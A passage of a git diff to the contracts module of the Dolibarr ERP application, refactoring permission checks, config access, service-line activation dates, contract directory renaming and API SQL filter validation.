DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/contrat/class/contrat.class.php'; - $object = new Contrat($db); - $result = $object->fetch($id); $object->fetch_thirdparty(); $title = $langs->trans("Agenda"); @@ -181,7 +191,7 @@ if ($id > 0) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -195,13 +205,13 @@ if ($id > 0) { } $morehtmlref .= '
      '; - dol_banner_tab($object, 'id', $linkback, 1, 'ref', 'none', $morehtmlref); + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'none', $morehtmlref); print '
      '; print '
      '; - $object->info($id); + $object->info($object->id); dol_print_object_info($object, 1); print '
      '; @@ -221,7 +231,7 @@ if ($id > 0) { { //$out.='trans("AddAnAction"),'filenew'); //$out.=""; @@ -234,7 +244,7 @@ if ($id > 0) { $newcardbutton = ''; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { $backtopage = $_SERVER['PHP_SELF'].'?id='.$object->id; $out = '&origin='.$object->element.'&originid='.$object->id.'&backtopage='.urlencode($backtopage); $newcardbutton .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); @@ -244,7 +254,7 @@ if ($id > 0) { if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { print '
      '; - $param = '&id='.$id; + $param = '&id='.$object->id; if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.$contextpage; } @@ -252,12 +262,18 @@ if ($id > 0) { $param .= '&limit='.$limit; } - print load_fiche_titre($langs->trans("ActionsOnContract"), $newcardbutton, ''); + // Try to know count of actioncomm from cache + require_once DOL_DOCUMENT_ROOT.'/core/lib/memory.lib.php'; + $cachekey = 'count_events_thirdparty_'.$object->id; + $nbEvent = dol_getcache($cachekey); + + print load_fiche_titre($langs->trans("ActionsOnContract").(is_numeric($nbEvent) ? '('.$nbEvent.')': ''), $newcardbutton, ''); //print_barre_liste($langs->trans("ActionsOnCompany"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $newcardbutton, '', 0, 1, 1); // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); diff --git a/htdocs/contrat/card.php b/htdocs/contrat/card.php index b691524ad92..7a8fb3114fc 100644 --- a/htdocs/contrat/card.php +++ b/htdocs/contrat/card.php @@ -56,6 +56,7 @@ $langs->loadLangs(array("contracts", "orders", "companies", "bills", "products", $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); $cancel = GETPOST('cancel', 'alpha'); +$backtopage = GETPOST('backtopage', 'alpha'); $socid = GETPOST('socid', 'int'); $id = GETPOST('id', 'int'); @@ -143,7 +144,16 @@ if (empty($reshook)) { include DOL_DOCUMENT_ROOT.'/core/actions_lineupdown.inc.php'; // Must be include, not include_once if ($action == 'confirm_active' && $confirm == 'yes' && $user->rights->contrat->activer) { - $result = $object->active_line($user, GETPOST('ligne', 'int'), GETPOST('date'), GETPOST('dateend'), GETPOST('comment')); + $date_start = ''; + $date_end = ''; + if (GETPOST('startmonth') && GETPOST('startday') && GETPOST('startyear')) { + $date_start = dol_mktime(GETPOST('starthour'), GETPOST('startmin'), 0, GETPOST('startmonth'), GETPOST('startday'), GETPOST('startyear')); + } + if (GETPOST('endmonth') && GETPOST('endday') && GETPOST('endyear')) { + $date_end = dol_mktime(GETPOST('endhour'), GETPOST('endmin'), 0, GETPOST('endmonth'), GETPOST('endday'), GETPOST('endyear')); + } + + $result = $object->active_line($user, GETPOST('ligne', 'int'), $date_start, $date_end, GETPOST('comment')); if ($result > 0) { header("Location: ".$_SERVER['PHP_SELF']."?id=".$object->id); @@ -152,12 +162,16 @@ if (empty($reshook)) { setEventMessages($object->error, $object->errors, 'errors'); } } elseif ($action == 'confirm_closeline' && $confirm == 'yes' && $user->rights->contrat->activer) { - if (!GETPOST('dateend')) { + $date_end = ''; + if (GETPOST('endmonth') && GETPOST('endday') && GETPOST('endyear')) { + $date_end = dol_mktime(GETPOST('endhour'), GETPOST('endmin'), 0, GETPOST('endmonth'), GETPOST('endday'), GETPOST('endyear')); + } + if (!$date_end) { $error++; setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("DateEnd")), null, 'errors'); } if (!$error) { - $result = $object->close_line($user, GETPOST('ligne', 'int'), GETPOST('dateend'), urldecode(GETPOST('comment'))); + $result = $object->close_line($user, GETPOST('ligne', 'int'), $date_end, urldecode(GETPOST('comment'))); if ($result > 0) { header("Location: ".$_SERVER['PHP_SELF']."?id=".$object->id); exit; @@ -201,7 +215,7 @@ if (empty($reshook)) { } // Add contract - if ($action == 'add' && $user->rights->contrat->creer) { + if ($action == 'add' && $user->hasRight('contrat', 'creer')) { // Check if (empty($datecontrat)) { $error++; @@ -374,6 +388,7 @@ if (empty($reshook)) { $reshook = $hookmanager->executeHooks('createFrom', $parameters, $object, $action); // Note that $action and $object may have been // modified by hook if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); $error++; } } else { @@ -394,9 +409,9 @@ if (empty($reshook)) { $action = 'create'; } } - } elseif ($action == 'classin' && $user->rights->contrat->creer) { + } elseif ($action == 'classin' && $user->hasRight('contrat', 'creer')) { $object->setProject(GETPOST('projectid')); - } elseif ($action == 'addline' && $user->rights->contrat->creer) { + } elseif ($action == 'addline' && $user->hasRight('contrat', 'creer')) { // Add a new line // Set if we used free entry or predefined product $predef = ''; @@ -424,12 +439,12 @@ if (empty($reshook)) { if (GETPOST('prod_entry_mode', 'alpha') == 'free') { $idprod = 0; - $tva_tx = (GETPOST('tva_tx', 'alpha') ? price2num(preg_replace('/\s*\(.*\)/', '', GETPOST('tva_tx', 'alpha'))) : 0); } else { $idprod = GETPOST('idprod', 'int'); - $tva_tx = ''; } + $tva_tx = GETPOST('tva_tx', 'alpha'); + $qty = price2num(GETPOST('qty'.$predef, 'alpha'), 'MS'); $remise_percent = (GETPOSTISSET('remise_percent'.$predef) ? price2num(GETPOST('remise_percent'.$predef), 2) : 0); if (empty($remise_percent)) { @@ -467,36 +482,27 @@ if (empty($reshook)) { // Clean parameters $date_start = dol_mktime(GETPOST('date_start'.$predef.'hour'), GETPOST('date_start'.$predef.'min'), GETPOST('date_start'.$predef.'sec'), GETPOST('date_start'.$predef.'month'), GETPOST('date_start'.$predef.'day'), GETPOST('date_start'.$predef.'year')); $date_end = dol_mktime(GETPOST('date_end'.$predef.'hour'), GETPOST('date_end'.$predef.'min'), GETPOST('date_end'.$predef.'sec'), GETPOST('date_end'.$predef.'month'), GETPOST('date_end'.$predef.'day'), GETPOST('date_end'.$predef.'year')); - $price_base_type = (GETPOST('price_base_type', 'alpha') ?GETPOST('price_base_type', 'alpha') : 'HT'); - // Ecrase $pu par celui du produit - // Ecrase $desc par celui du produit - // Ecrase $tva_tx par celui du produit - // Ecrase $base_price_type par celui du produit + // Ecrase $tva_tx par celui du produit. TODO Remove this once vat selection is open + // Get and check minimum price if ($idprod > 0) { $prod = new Product($db); $prod->fetch($idprod); // Update if prices fields are defined - $tva_tx = get_default_tva($mysoc, $object->thirdparty, $prod->id); + /*$tva_tx = get_default_tva($mysoc, $object->thirdparty, $prod->id); $tva_npr = get_default_npr($mysoc, $object->thirdparty, $prod->id); if (empty($tva_tx)) { $tva_npr = 0; - } + }*/ - $pu_ht = $prod->price; - $pu_ttc = $prod->price_ttc; $price_min = $prod->price_min; $price_min_ttc = $prod->price_min_ttc; - $price_base_type = $prod->price_base_type; // On defini prix unitaire if ($conf->global->PRODUIT_MULTIPRICES && $object->thirdparty->price_level) { - $pu_ht = $prod->multiprices[$object->thirdparty->price_level]; - $pu_ttc = $prod->multiprices_ttc[$object->thirdparty->price_level]; $price_min = $prod->multiprices_min[$object->thirdparty->price_level]; $price_min_ttc = $prod->multiprices_min_ttc[$object->thirdparty->price_level]; - $price_base_type = $prod->multiprices_base_type[$object->thirdparty->price_level]; } elseif (!empty($conf->global->PRODUIT_CUSTOMER_PRICES)) { // If price per customer require_once DOL_DOCUMENT_ROOT.'/product/class/productcustomerprice.class.php'; @@ -508,19 +514,16 @@ if (empty($reshook)) { $result = $prodcustprice->fetchAll('', '', 0, 0, $filter); if ($result) { if (count($prodcustprice->lines) > 0) { - $pu_ht = price($prodcustprice->lines[0]->price); - $pu_ttc = price($prodcustprice->lines[0]->price_ttc); $price_min = price($prodcustprice->lines[0]->price_min); $price_min_ttc = price($prodcustprice->lines[0]->price_min_ttc); - $price_base_type = $prodcustprice->lines[0]->price_base_type; - $tva_tx = $prodcustprice->lines[0]->tva_tx; + /*$tva_tx = $prodcustprice->lines[0]->tva_tx; if ($prodcustprice->lines[0]->default_vat_code && !preg_match('/\(.*\)/', $tva_tx)) { $tva_tx .= ' ('.$prodcustprice->lines[0]->default_vat_code.')'; } $tva_npr = $prodcustprice->lines[0]->recuperableonly; if (empty($tva_tx)) { $tva_npr = 0; - } + }*/ } } } @@ -532,16 +535,11 @@ if (empty($reshook)) { if (!empty($price_ht) || $price_ht === '0') { $pu_ht = price2num($price_ht, 'MU'); $pu_ttc = price2num($pu_ht * (1 + ($tmpvat / 100)), 'MU'); + $price_base_type = 'HT'; } elseif (!empty($price_ttc) || $price_ttc === '0') { $pu_ttc = price2num($price_ttc, 'MU'); $pu_ht = price2num($pu_ttc / (1 + ($tmpvat / 100)), 'MU'); - } elseif ($tmpvat != $tmpprodvat) { - // Is this still used ? - if ($price_base_type != 'HT') { - $pu_ht = price2num($pu_ttc / (1 + ($tmpvat / 100)), 'MU'); - } else { - $pu_ttc = price2num($pu_ht * (1 + ($tmpvat / 100)), 'MU'); - } + $price_base_type = 'TTC'; } $desc = $prod->description; @@ -571,8 +569,16 @@ if (empty($reshook)) { $pu_ht_devise = price2num($price_ht_devise, 'MU'); $pu_ttc_devise = price2num($price_ttc_devise, 'MU'); - $price_base_type = 'HT'; - if ($pu_ttc && !$pu_ht) { + $tmpvat = price2num(preg_replace('/\s*\(.*\)/', '', $tva_tx)); + + // Set unit price to use + if (!empty($price_ht) || $price_ht === '0') { + $pu_ht = price2num($price_ht, 'MU'); + $pu_ttc = price2num($pu_ht * (1 + ((float) $tmpvat / 100)), 'MU'); + $price_base_type = 'HT'; + } elseif (!empty($price_ttc) || $price_ttc === '0') { + $pu_ttc = price2num($price_ttc, 'MU'); + $pu_ht = price2num($pu_ttc / (1 + ((float) $tmpvat / 100)), 'MU'); $price_base_type = 'TTC'; } } @@ -677,8 +683,9 @@ if (empty($reshook)) { setEventMessages($object->error, $object->errors, 'errors'); } } - } elseif ($action == 'updateline' && $user->rights->contrat->creer && !GETPOST('cancel', 'alpha')) { + } elseif ($action == 'updateline' && $user->hasRight('contrat', 'creer') && !GETPOST('cancel', 'alpha')) { $error = 0; + $predef = ''; if (!empty($date_start_update) && !empty($date_end_update) && $date_start_update > $date_end_update) { setEventMessages($langs->trans("Error").': '.$langs->trans("DateStartPlanned").' > '.$langs->trans("DateEndPlanned"), null, 'errors'); @@ -708,7 +715,7 @@ if (empty($reshook)) { $date_end_real_update = $objectline->date_end_real; } - $vat_rate = GETPOST('eltva_tx'); + $vat_rate = GETPOST('eltva_tx', 'alpha'); // Define info_bits $info_bits = 0; if (preg_match('/\*/', $vat_rate)) { @@ -754,7 +761,7 @@ if (empty($reshook)) { $objectline->date_end = $date_end_update; $objectline->date_end_real = $date_end_real_update; $objectline->fk_user_cloture = $user->id; - $objectline->fk_fournprice = $fk_fournprice; + //$objectline->fk_fournprice = $fk_fournprice; $objectline->pa_ht = $pa_ht; $objectline->rang = $objectline->rang; @@ -789,7 +796,7 @@ if (empty($reshook)) { } else { $db->rollback(); } - } elseif ($action == 'confirm_deleteline' && $confirm == 'yes' && $user->rights->contrat->creer) { + } elseif ($action == 'confirm_deleteline' && $confirm == 'yes' && $user->hasRight('contrat', 'creer')) { $result = $object->deleteline(GETPOST('lineid', 'int'), $user); if ($result >= 0) { @@ -798,7 +805,7 @@ if (empty($reshook)) { } else { setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'confirm_valid' && $confirm == 'yes' && $user->rights->contrat->creer) { + } elseif ($action == 'confirm_valid' && $confirm == 'yes' && $user->hasRight('contrat', 'creer')) { $result = $object->validate($user); if ($result > 0) { @@ -824,18 +831,18 @@ if (empty($reshook)) { } else { setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'reopen' && $user->rights->contrat->creer) { + } elseif ($action == 'reopen' && $user->hasRight('contrat', 'creer')) { $result = $object->reopen($user); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'confirm_close' && $confirm == 'yes' && $user->rights->contrat->creer) { + } elseif ($action == 'confirm_close' && $confirm == 'yes' && $user->hasRight('contrat', 'creer')) { // Close all lines $result = $object->closeAll($user); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'confirm_activate' && $confirm == 'yes' && $user->rights->contrat->creer) { + } elseif ($action == 'confirm_activate' && $confirm == 'yes' && $user->hasRight('contrat', 'creer')) { $date_start = dol_mktime(12, 0, 0, GETPOST('d_startmonth'), GETPOST('d_startday'), GETPOST('d_startyear')); $date_end = dol_mktime(12, 0, 0, GETPOST('d_endmonth'), GETPOST('d_endday'), GETPOST('d_endyear')); $comment = GETPOST('comment', 'alpha'); @@ -851,7 +858,7 @@ if (empty($reshook)) { } else { setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'confirm_move' && $confirm == 'yes' && $user->rights->contrat->creer) { + } elseif ($action == 'confirm_move' && $confirm == 'yes' && $user->hasRight('contrat', 'creer')) { if (GETPOST('newcid') > 0) { $contractline = new ContratLigne($db); $result = $contractline->fetch(GETPOSTINT('lineid')); @@ -936,15 +943,8 @@ if (empty($reshook)) { $old_filedir = $conf->contrat->multidir_output[$object->entity].'/'.dol_sanitizeFileName($old_ref); $new_filedir = $conf->contrat->multidir_output[$object->entity].'/'.dol_sanitizeFileName($object->ref); - $files = dol_dir_list($old_filedir); - if (!empty($files)) { - if (!is_dir($new_filedir)) { - dol_mkdir($new_filedir); - } - foreach ($files as $file) { - dol_move($file['fullname'], $new_filedir.'/'.$file['name']); - } - } + // Rename directory of contract with new name + dol_move_dir($old_filedir, $new_filedir); header("Location: ".$_SERVER['PHP_SELF']."?id=".$object->id); exit; @@ -989,7 +989,7 @@ if (empty($reshook)) { include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; - if (!empty($conf->global->MAIN_DISABLE_CONTACTS_TAB) && $user->rights->contrat->creer) { + if (!empty($conf->global->MAIN_DISABLE_CONTACTS_TAB) && $user->hasRight('contrat', 'creer')) { if ($action == 'addcontact') { $contactid = (GETPOST('userid') ? GETPOST('userid') : GETPOST('contactid')); $typeid = (GETPOST('typecontact') ? GETPOST('typecontact') : GETPOST('type')); @@ -1136,10 +1136,10 @@ if ($action == 'create') { print ''; print ''; - print ''; print ''."\n"; print ''; + print ''; print dol_get_fiche_head(); @@ -1210,6 +1210,7 @@ if ($action == 'create') { print ''; print ''.$langs->trans("Date").''; + print img_picto('', 'action', 'class="pictofixedwidth"'); print $form->selectDate($datecontrat, '', 0, 0, '', "contrat"); print ""; @@ -1220,6 +1221,7 @@ if ($action == 'create') { $formproject = new FormProjets($db); print ''.$langs->trans("Project").''; + print img_picto('', 'project', 'class="pictofixedwidth"'); $formproject->select_projects(($soc->id > 0 ? $soc->id : -1), $projectid, "projectid", 0, 0, 1, 1); print '   id).'">'; print ""; @@ -1345,10 +1347,11 @@ if ($action == 'create') { // Contract - if (!empty($object->brouillon) && $user->rights->contrat->creer) { + if (!empty($object->brouillon) && $user->hasRight('contrat', 'creer')) { print ''; print ''; print ''; + print ''; } // Contract card @@ -1386,7 +1389,7 @@ if ($action == 'create') { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -1442,7 +1445,7 @@ if ($action == 'create') { print '
      '; - if (!empty($object->brouillon) && $user->rights->contrat->creer) { + if (!empty($object->brouillon) && $user->hasRight('contrat', 'creer')) { print ''; } @@ -1489,6 +1492,7 @@ if ($action == 'create') { print '
      '; print ''; print ''; + print ''; print ''; print ''; @@ -1522,7 +1526,7 @@ if ($action == 'create') { // print ''.$langs->trans("PriceUHTCurrency").''; //} print ''.$langs->trans("Qty").''; - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { print ''.$langs->trans("Unit").''; } print ''.$langs->trans("ReductionShort").''; @@ -1534,12 +1538,12 @@ if ($action == 'create') { if ($nbofservices > 1 && $conf->browser->layout != 'phone' && !empty($user->rights->contrat->creer)) { print ''; if ($cursorline > 1) { - print 'rowid.'">'; + print 'rowid.'">'; echo img_up('default', 0, 'imgupforline'); print ''; } if ($cursorline < $nbofservices) { - print 'rowid.'">'; + print 'rowid.'">'; echo img_down('default', 0, 'imgdownforline'); print ''; } @@ -1603,7 +1607,7 @@ if ($action == 'create') { // Quantity print ''.$objp->qty.''; // Unit - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { print ''.$langs->trans($object->lines[$cursorline - 1]->getLabelOfUnit()).''; } // Discount @@ -1644,9 +1648,9 @@ if ($action == 'create') { if ($objp->subprice >= 0) { $colspan = 6; - if ($conf->margin->enabled && $conf->global->PRODUCT_USE_UNITS) { + if (isModEnabled('margin') && getDolGlobalString('PRODUCT_USE_UNITS')) { $colspan = 8; - } elseif ($conf->margin->enabled || $conf->global->PRODUCT_USE_UNITS) { + } elseif (isModEnabled('margin') || getDolGlobalString('PRODUCT_USE_UNITS')) { $colspan = 7; } @@ -1710,7 +1714,7 @@ if ($action == 'create') { if (empty($senderissupplier)) { print $form->select_produits((!empty($object->lines[$cursorline - 1]->fk_product) ? $object->lines[$cursorline - 1]->fk_product : 0), 'idprod'); } else { - print $form->select_produits_fournisseurs((!empty($object->lines[$cursorline - 1]->fk_product) ? $object->lines[$cursorline - 1]->fk_product : 0), 'idprod'); + $form->select_produits_fournisseurs((!empty($object->lines[$cursorline - 1]->fk_product) ? $object->lines[$cursorline - 1]->fk_product : 0), 'idprod'); } } print '
      '; @@ -1748,7 +1752,7 @@ if ($action == 'create') { print ''; // Unit - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { print ''; print $form->selectUnits($objp->fk_unit, "unit"); print ''; @@ -1774,7 +1778,7 @@ if ($action == 'create') { if (isModEnabled('margin') && !empty($conf->global->MARGIN_SHOW_ON_CONTRACT)) { $colspan++; } - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $colspan++; } @@ -1807,7 +1811,7 @@ if ($action == 'create') { $moreparam = 'style="display: none;"'; } print ''; - print '
      '; + print '
      '; print "\n"; } @@ -1820,7 +1824,7 @@ if ($action == 'create') { /* * Confirmation to delete service line of contract */ - if ($action == 'deleteline' && !$_REQUEST["cancel"] && $user->rights->contrat->creer && $object->lines[$cursorline - 1]->id == GETPOST('rowid')) { + if ($action == 'deleteline' && !$_REQUEST["cancel"] && $user->hasRight('contrat', 'creer') && $object->lines[$cursorline - 1]->id == GETPOST('rowid')) { print $form->formconfirm($_SERVER["PHP_SELF"]."?id=".$object->id."&lineid=".GETPOST('rowid'), $langs->trans("DeleteContractLine"), $langs->trans("ConfirmDeleteContractLine"), "confirm_deleteline", '', 0, 1); if ($ret == 'html') { print '
      '; @@ -1830,7 +1834,7 @@ if ($action == 'create') { /* * Confirmation to move service toward another contract */ - if ($action == 'move' && !$_REQUEST["cancel"] && $user->rights->contrat->creer && $object->lines[$cursorline - 1]->id == GETPOST('rowid')) { + if ($action == 'move' && !$_REQUEST["cancel"] && $user->hasRight('contrat', 'creer') && $object->lines[$cursorline - 1]->id == GETPOST('rowid')) { $arraycontractid = array(); foreach ($arrayothercontracts as $contractcursor) { $arraycontractid[$contractcursor->id] = $contractcursor->ref; @@ -1845,34 +1849,6 @@ if ($action == 'create') { print '
      '; } - /* - * Confirmation de la validation activation - */ - if ($action == 'active' && !$cancel && $user->rights->contrat->activer && $object->lines[$cursorline - 1]->id == GETPOST('ligne', 'int')) { - $dateactstart = dol_mktime(12, 0, 0, GETPOST('remonth'), GETPOST('reday'), GETPOST('reyear')); - $dateactend = dol_mktime(12, 0, 0, GETPOST('endmonth'), GETPOST('endday'), GETPOST('endyear')); - $comment = GETPOST('comment', 'alpha'); - print $form->formconfirm($_SERVER["PHP_SELF"]."?id=".$object->id."&ligne=".GETPOST('ligne', 'int')."&date=".$dateactstart."&dateend=".$dateactend."&comment=".urlencode($comment), $langs->trans("ActivateService"), $langs->trans("ConfirmActivateService", dol_print_date($dateactstart, "%A %d %B %Y")), "confirm_active", '', 0, 1); - print '
      '; - } - - /* - * Confirmation de la validation fermeture - */ - if ($action == 'closeline' && !$cancel && $user->rights->contrat->activer && $object->lines[$cursorline - 1]->id == GETPOST('ligne', 'int')) { - $dateactstart = dol_mktime(12, 0, 0, GETPOST('remonth'), GETPOST('reday'), GETPOST('reyear')); - $dateactend = dol_mktime(12, 0, 0, GETPOST('endmonth'), GETPOST('endday'), GETPOST('endyear')); - $comment = GETPOST('comment', 'alpha'); - - if (empty($dateactend)) { - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("DateEndReal")), null, 'errors'); - } else { - print $form->formconfirm($_SERVER["PHP_SELF"]."?id=".$object->id."&ligne=".GETPOST('ligne', 'int')."&date=".$dateactstart."&dateend=".$dateactend."&comment=".urlencode($comment), $langs->trans("CloseService"), $langs->trans("ConfirmCloseService", dol_print_date($dateactend, "%A %d %B %Y")), "confirm_closeline", '', 0, 1); - } - print '
      '; - } - - // Area with status and activation info of line if ($object->statut > 0) { print ''; @@ -1938,8 +1914,13 @@ if ($action == 'create') { // Form to activate line if ($user->rights->contrat->activer && $action == 'activateline' && $object->lines[$cursorline - 1]->id == GETPOST('ligne', 'int')) { - print ''; + print ''; print ''; + print ''; + print ''; + print ''; + print ''; + print ''; print '
      '; @@ -1964,7 +1945,7 @@ if ($action == 'create') { print ''; print ''; print ''; print ''; if ($num) { - $companystatic = new Societe($db); - $i = 0; //$tot_ttc = 0; while ($i < $num) { @@ -276,22 +274,29 @@ if (isModEnabled('contrat') && $user->rights->contrat->lire) { $staticcontrat->ref = $obj->ref; $staticcontrat->id = $obj->rowid; - $companystatic->id = $obj->socid; - $companystatic->name = $obj->name; - $companystatic->client = 1; + $staticcompany->id = $obj->socid; + $staticcompany->name = $obj->name; + $staticcompany->name_alias = $obj->name_alias; + $staticcompany->photo = 1; + $staticcompany->code_client = $obj->code_client; + $staticcompany->code_fournisseur = $obj->code_fournisseur; + $staticcompany->code_compta = $obj->code_compta; + $staticcompany->code_compta_fournisseur = $obj->code_compta_fournisseur; + $staticcompany->client = $obj->client; + $staticcompany->fournisseur = $obj->fournisseur; print ''; print ''; print ''; //$tot_ttc+=$obj->total_ttc; $i++; } } else { - print ''; + print ''; } print "
      '.$langs->trans("DateServiceActivate").''; - print $form->selectDate($dateactstart, '', $usehm, $usehm, '', "active", 1, 0); + print $form->selectDate($dateactstart, 'start', $usehm, $usehm, '', "active", 1, 0); print ''.$langs->trans("DateEndPlanned").''; print $form->selectDate($dateactend, "end", $usehm, $usehm, '', "active", 1, 0); @@ -1992,10 +1973,11 @@ if ($action == 'create') { * Disable a contract line */ print ''."\n"; - print ''; - + print ''; print ''; - print ''; + print ''; + print ''; + print ''; print ''; @@ -2034,7 +2016,7 @@ if ($action == 'create') { print ''; print ''; - print ''; + print ''; print ''; print ''; - print ''; + print ''; print "\n"; } if ($status == 4 && !$bool) { @@ -224,7 +224,7 @@ foreach ($listofstatus as $status) { if (empty($conf->use_javascript_ajax)) { print ''; print ''; - print ''; + print ''; if ($status == 4 && !$bool) { $bool = true; } else { @@ -239,9 +239,9 @@ print "
      '.$langs->trans("Comment").''.$langs->trans("Comment").''; print '   '; print ''; @@ -2055,11 +2037,13 @@ if ($action == 'create') { $dateSelector = 1; print "\n"; - print ' + print ' + + '; print '
      '; @@ -2140,7 +2124,7 @@ if ($action == 'create') { if (isModEnabled('commande') && $object->statut > 0 && $object->nbofservicesclosed < $nbofservices) { $langs->load("orders"); - if ($user->rights->commande->creer) { + if ($user->hasRight('commande', 'creer')) { print dolGetButtonAction($langs->trans('CreateOrder'), '', 'default', DOL_URL_ROOT.'/commande/card.php?action=create&token='.newToken().'&origin='.$object->element.'&originid='.$object->id.'&socid='.$object->thirdparty->id, '', true, $params); } else { $params['attr']['title'] = $langs->trans("NotEnoughPermissions"); @@ -2214,7 +2198,7 @@ if ($action == 'create') { $delallowed = $user->rights->contrat->creer; - print $formfile->showdocuments('contract', $filename, $filedir, $urlsource, $genallowed, $delallowed, ($object->model_pdf ? $object->model_pdf : $conf->global->CONTRACT_ADDON_PDF), 1, 0, 0, 28, 0, '', 0, '', $soc->default_lang, '', $object); + print $formfile->showdocuments('contract', $filename, $filedir, $urlsource, $genallowed, $delallowed, ($object->model_pdf ? $object->model_pdf : getDolGlobalString('CONTRACT_ADDON_PDF')), 1, 0, 0, 28, 0, '', 0, '', $soc->default_lang, '', $object); // Show links to link elements @@ -2222,7 +2206,7 @@ if ($action == 'create') { $somethingshown = $form->showLinkedObjectBlock($object, $linktoelem); // Show online signature link - if ($object->statut != Contrat::STATUS_DRAFT && $conf->global->CONTRACT_ALLOW_ONLINESIGN) { + if ($object->statut != Contrat::STATUS_DRAFT && getDolGlobalString('CONTRACT_ALLOW_ONLINESIGN')) { print '
      '; require_once DOL_DOCUMENT_ROOT.'/core/lib/signature.lib.php'; diff --git a/htdocs/contrat/class/api_contracts.class.php b/htdocs/contrat/class/api_contracts.class.php index f38fa4758d9..68ace23a26a 100644 --- a/htdocs/contrat/class/api_contracts.class.php +++ b/htdocs/contrat/class/api_contracts.class.php @@ -148,11 +148,10 @@ class Contracts extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); diff --git a/htdocs/contrat/class/contrat.class.php b/htdocs/contrat/class/contrat.class.php index 7d43da46b37..e05aeb678ee 100644 --- a/htdocs/contrat/class/contrat.class.php +++ b/htdocs/contrat/class/contrat.class.php @@ -9,7 +9,7 @@ * Copyright (C) 2013 Florian Henry * Copyright (C) 2014-2015 Marcos García * Copyright (C) 2018 Nicolas ZABOURI - * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2015-2018 Ferran Marcet * * This program is free software; you can redistribute it and/or modify @@ -185,6 +185,7 @@ class Contrat extends CommonObject public $nbofserviceswait; public $nbofservicesopened; public $nbofservicesexpired; + public $nbofservicesclosed; //public $lower_planned_end_date; //public $higher_planner_end_date; @@ -225,24 +226,24 @@ class Contrat extends CommonObject */ public $fields = array( 'rowid' =>array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>10), - 'ref' =>array('type'=>'varchar(50)', 'label'=>'Ref', 'enabled'=>1, 'visible'=>-1, 'showoncombobox'=>1, 'position'=>15), + 'ref' =>array('type'=>'varchar(50)', 'label'=>'Ref', 'enabled'=>1, 'visible'=>-1, 'showoncombobox'=>1, 'position'=>15, 'searchall'=>1), 'ref_ext' =>array('type'=>'varchar(255)', 'label'=>'Ref ext', 'enabled'=>1, 'visible'=>0, 'position'=>20), - 'ref_supplier' =>array('type'=>'varchar(50)', 'label'=>'Ref supplier', 'enabled'=>1, 'visible'=>-1, 'position'=>25), + 'ref_customer' =>array('type'=>'varchar(50)', 'label'=>'RefCustomer', 'enabled'=>1, 